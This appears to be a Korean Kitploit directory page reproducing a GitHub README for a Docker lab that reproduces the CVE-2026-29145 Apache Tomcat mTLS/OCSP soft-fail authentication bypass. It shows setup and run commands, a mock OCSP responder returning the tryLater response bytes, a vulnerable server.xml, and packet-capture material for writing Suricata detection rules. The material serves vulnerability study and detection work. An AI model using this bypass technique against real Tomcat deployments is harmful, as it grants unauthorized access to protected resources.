Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29145-Everything — CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP 소프트 실패 우회를 위한 재현 가능한 PoC 환경. 익스플로잇 스크립트, 모의 OCSP 응답기, Suricata 탐지 규칙 포함. | Kitploit
도구/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
Authentication & AuthorizationVulnerability AnalysisExploitationIDS/IPS EvasionWeb Application ExploitationPenetration TestingIntrusion DetectionLearning & EducationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP 소프트 실패 우회를 위한 재현 가능한 PoC 환경. 익스플로잇 스크립트, 모의 OCSP 응답기, Suricata 탐지 규칙 포함.

저장소 보기
152개월 전아직 검토되지 않음

CVE-2026-29145 모든 것

Apache Tomcat CLIENT_CERT + OCSP soft-fail 우회 완전 재현 환경, 익스플로잇 트래픽 패킷, 그리고 Suricata 탐지 규칙 작성 자료입니다.

승인된 보안 연구 및 탐지 규칙 개발용으로만 사용하세요. 승인되지 않은 시스템에는 사용하지 마십시오.


취약점 요약

항목설명
CVECVE-2026-29145
구성 요소Apache Tomcat / Tomcat Native
유형인증 우회 (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / Moderate (Apache)
영향을 받는 버전Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 등
수정 버전Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+

취약점 원리

Tomcat에서 CLIENT_CERT와 OCSP를 활성화하고 **ocspSoftFail=false(하드 실패)**로 설정한 경우, 일부 OCSP 실패 경로(특히 응답 상태 tryLater)가 여전히 하드 실패로 처리되지 않아 차단되어야 할 클라이언트 인증서가 수락되고 보호된 리소스에 접근할 수 있습니다.

공식 수정(예: Tomcat 커밋 fe26667c)에서는 OCSP TRY_LATER에 대한 FFM 경로 처리를 Tomcat Native와 일치시켰습니다.

본 저장소 실제 테스트 결론

Tomcat 10.1.52 + Tomcat Native 2.0.12 환경에서:

핵심: RFC 6960의 tryLater를 반환해야 함. HTTP 500만으로는 이 환경에서 우회가 발생하지 않습니다.


저장소 내용

root@kitploit:~
CVE-2026-29145-Everything/
├── README.md                 # 이 파일
├── REPRODUCTION.md           # 상세 재현 노트 및 Suricata 힌트
├── docker-compose.yml        # 취약한 Tomcat + Mock OCSP
├── poc_exploit.py            # 익스플로잇/탐지 스크립트 (exit 10 = 취약)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # CA / 서버 / 클라이언트 인증서 생성 (OCSP AIA 포함)
├── capture_exploit.sh        # 한 번에 익스플로잇 및 패킷 캡처
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT 사용자 매핑
│   ├── ROOT/                 # 공식 이미지 기본 ROOT의 최소 패치
│   └── protected/            # 보호된 리소스 + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ 이미 캡처된 익스플로잇 트래픽 (규칙 작성용)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # 메인 패킷: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # OCSP 평문만
    ├── CVE-2026-29145-mtls-only.pcap       # 8443 TLS만
    └── exploit_response.html               # 익스플로잇 성공 응답 스냅샷

인증서 개인 키 디렉터리 certs/는 기본적으로 .gitignore에 의해 무시되므로 로컬에서 생성해야 합니다.


빠른 시작

의존성

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt 또는 시스템 python3-requests)
  • tcpdump (선택 사항, 패킷 캡처)

원클릭 재현

root@kitploit:~
git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. 인증서 생성 (AIA는 Docker 내 OCSP 서비스 이름을 가리킴)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. 환경 시작 (기본 OCSP_MODE=try_later)
docker compose up -d
# healthy 상태까지 대기
docker compose ps

# 3. PoC 실행
python3 poc_exploit.py
# 예상 출력:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 종료 코드 10 = 취약; 0 = 익스플로잇 불가/패치됨

수동 확인:

root@kitploit:~
curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

패킷 캡처 (트래픽 보존)

root@kitploit:~
./capture_exploit.sh
# pcaps/CVE-2026-29145-*.pcap에 출력

저장소에는 이미 성공적인 익스플로잇 pcap이 포함되어 있어 Suricata 규칙 검증에 바로 사용할 수 있으며, 다시 캡처할 필요가 없습니다.


OCSP Mock 모드

root@kitploit:~
# tryLater — CVE 트리거 경로 (기본)
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 실패 (이 환경에서는 하드 실패로 거부)
OCSP_MODE=fail docker compose up -d --force-recreate

# OCSP 성공 모의 (본문은 실제 DER이 아님, 연결 테스트용)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

트래픽 특징 (Suricata 자료)

중요: 8443은 TLS 1.3 암호화된 mTLS이므로 Wireshark로 열면 깨진 데이터처럼 보입니다.
8888의 OCSP는 평문 HTTP이므로 규칙 작성 시 OCSP를 우선적으로 살펴보세요.
전체 설명은 **pcaps/README.md**를 참조하세요.

권장 파일

OCSP 평문 (네트워크에서 직접 매칭 가능)

root@kitploit:~
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

복호화된 비즈니스 HTTP (sslkeys.log 필요)

root@kitploit:~
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: 환경 설정 → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

root@kitploit:~
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

자세한 내용은 REPRODUCTION.md 및 pcaps/README.md를 참조하세요.


구성 요점 (취약한 server.xml)

root@kitploit:~
<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

애플리케이션 계층 CLIENT-CERT는 tomcat/protected/WEB-INF/web.xml을 참조하세요.


수정 권장 사항

  1. Tomcat을 10.1.53+(또는 해당 버전 라인의 수정 버전)로 업그레이드
  2. Tomcat Native를 **2.0.14+**로 함께 업그레이드
  3. ocspSoftFail 정책과 OCSP 접근 가능성을 재검토하고, 접근 불가/tryLater 동작에 대한 회귀 테스트 수행

정리

root@kitploit:~
./cleanup.sh
# 또는
docker compose down -v

참고

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • 상위 PoC 구조: CVE-2026-29145-Tester (본 저장소는 재현 가능한 구성과 tryLater 경로에 대해 보강 및 전체 기록을 추가했습니다)

면책 조항

이 프로젝트는 교육, 승인된 침투 테스트 및 침입 탐지 규칙 개발 목적으로만 사용됩니다. 사용자는 대상 시스템에 대한 합법적인 권한이 있는지 확인해야 합니다. 작성자는 어떠한 오용 행위에 대해서도 책임을 지지 않습니다.

도구 다운로드
OCSP 동작ocspSoftFail결과
DER tryLater (30 03 0a 01 03)falseHTTP 200 — 우회 성공
HTTP 500falseTLS 거부 (하드 실패 적용)
OCSP 시간 초과falseTLS 거부
모든 실패true200 (예상된 soft-fail)
파일설명
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log복호화 가능한 전체 세션
pcaps/CVE-2026-29145-ocsp-only.pcap평문 OCSP (키 불필요)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtOCSP HTTP 읽기 쉬운 텍스트
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt복호화된 비즈니스 HTTP 텍스트
rules/cve-2026-29145.rules예제 Suricata 규칙